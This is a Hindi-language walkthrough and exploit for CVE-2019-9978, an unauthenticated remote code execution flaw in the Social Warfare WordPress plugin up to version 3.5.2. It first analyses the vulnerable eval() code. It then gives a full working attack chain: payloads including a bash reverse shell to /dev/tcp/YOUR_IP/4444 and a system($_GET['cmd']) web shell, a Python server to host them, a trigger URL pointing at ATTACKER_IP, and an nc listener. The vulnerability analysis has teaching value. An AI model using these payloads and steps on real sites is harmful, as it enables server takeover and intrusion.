
CVE-2019-9978 के लिए एक पूर्ण वॉकथ्रू और एक्सप्लॉइट - Social Warfare WordPress plugin ≤ 3.5.2 में अनऑथेंटिकेटेड रिमोट कोड एक्जीक्यूशन। इसमें कमजोर कोड विश्लेषण और पेलोड उदाहरण शामिल हैं।
| गुण | मान |
|---|
| CVE ID | CVE-2019-9978 |
| प्रभावित सॉफ्टवेयर | Social Warfare Plugin ≤ 3.5.2 (WordPress) |
| भेद्यता प्रकार | रिमोट कोड निष्पादन (RCE) / रिमोट फ़ाइल समावेशन (RFI) |
| प्रमाणीकरण आवश्यक | ❌ नहीं – अप्रमाणित |
| CVSS स्कोर | 9.8 (गंभीर) |
| समाधान किया गया | संस्करण 3.5.3 |
| जंगली में शोषित | हाँ – मार्च 2019 |
Social Warfare प्लगइन एक लोकप्रिय WordPress प्लगइन है जो वेबसाइटों पर सोशल शेयरिंग बटन जोड़ता है। संस्करण 3.5.0 से 3.5.2 में एक गंभीर RCE भेद्यता है जो हमलावरों को बिना किसी प्रमाणीकरण के सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देती है।
Social Warfare एक लोकप्रिय WordPress प्लगइन है जो वेबसाइटों पर सोशल शेयरिंग बटन जोड़ता है, जिससे आगंतुक आसानी से प्लेटफ़ॉर्म पर सामग्री साझा कर सकते हैं:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ CRITICAL MISUNDERSTANDING:
// is_admin() only checks if the page is in /wp-admin/
// It does NOT verify authentication or user privileges!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Step 1: Fetch remote file from user-controlled URL
// No validation, no sanitization, no whitelist!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Step 2: Extract content between <pre> tags
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Step 3: Build PHP code string
$array = 'return ' . $options . ';';
// Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
// ... rest of the migration logic
} catch ( ParseError $e ) {
// ... error handling
}
}
is_admin() सुरक्षा क्यों नहीं हैWordPress फ़ंक्शन is_admin() यह जाँच नहीं करता है कि उपयोगकर्ता लॉग इन है या उसके पास व्यवस्थापक विशेषाधिकार हैं। यह केवल जाँचता है कि अनुरोधित पृष्ठ /wp-admin/ निर्देशिका के अंतर्गत है या नहीं:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// Does NOT check authentication!
// Does NOT check user role!
}
विडंबना: जब आप /wp-admin/admin-post.php तक पहुँचते हैं, तो WordPress WP_ADMIN = true परिभाषित करता है। इससे is_admin() अप्रमाणित अनुरोधों के लिए भी true लौटाता है, जो भेद्य कोड ब्लॉक को निष्पादित करने में सक्षम बनाता है।
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
प्लगइन में एक छिपी हुई "डीबग" सुविधा थी जो डेवलपर्स को बाहरी URL से कॉन्फ़िगरेशन फ़ाइलें लोड करने में मदद करने वाली थी। हालाँकि, इस सुविधा में एक घातक दोष था: यह उपयोगकर्ता द्वारा प्रदान किए गए URL से कोई भी फ़ाइल डाउनलोड करेगा और उसके अंदर जो भी कोड मिले उसे निष्पादित करेगा — बिना अनुमति मांगे या यह जाँचे कि उपयोगकर्ता अधिकृत है या नहीं।
शोषण सरल है:
एक हमलावर अपने स्वयं के सर्वर पर एक दुर्भावनापूर्ण फ़ाइल होस्ट करता है, प्लगइन को इसे डाउनलोड करने का निर्देश देता है, और प्लगइन अंधाधुंध रूप से हमलावर के कोड को पीड़ित की वेबसाइट पर चलाता है। चूंकि प्लगइन को ट्रिगर करने के लिए आपको लॉग इन होने की आवश्यकता नहीं है, URL जानने वाला कोई भी व्यक्ति वेबसाइट पर कब्जा कर सकता है।
इसे इस तरह समझें: एक सुरक्षा गार्ड की कल्पना करें जो "डीबग मोड" कहने पर कोई भी दरवाजा खोल देता है — बिना यह जाँचे कि आप वहाँ काम करते हैं या आपके पास बैज है। यही इस भेद्यता ने किया।
शोषण को 2 <pre></pre> टैग के बीच लिखा जाना चाहिए।
Social Warfare प्लगइन संस्करण की पहचान करने के लिए WPScan का उपयोग करें:
wpscan --url http://target.com --enumerate vp
यदि आपने स्वयं स्थापित किया है, तो एडमिन पैनल से प्लगइन को सक्रिय करना न भूलें।
अपने इच्छित पेलोड के साथ payload.txt बनाएँ और फिर उस पेलोड को सर्व करने के लिए एक सर्वर बनाएँ।
उदाहरण पेलोड:
परीक्षण पेलोड (RCE सत्यापित करें):
<pre>phpinfo();</pre>
आउट-ऑफ-बाउंड परीक्षण:
<pre>@file_get_contents('http://burp collabrator');</pre>
लिनक्स रिवर्स शेल:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
इंटरैक्टिव कमांड निष्पादक:
<pre>system($_GET['cmd']);</pre>
अपने पेलोड को होस्ट करने के लिए Python HTTP सर्वर प्रारंभ करें:
python3 -m http.server 8000
आपका पेलोड अब यहाँ उपलब्ध है: http://YOUR_IP:8000/payload.txt
यदि आप localhost का उपयोग करते हैं:
http://127.0.0.1:8000/payload.txt
भेद्य कोड से अनुरोध करने के बाद आपको 200 स्थिति कोड देखना चाहिए:

विकल्प A – मैन्युअल ट्रिगर:
अपने ब्राउज़र में इस URL पर जाएँ या curl का उपयोग करें:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
फिर से यदि आप localhost का उपयोग करते हैं:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
यदि सफल होता है, तो आपको एक शेल मिलेगा!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

हैप्पी हैकिंग! 🚀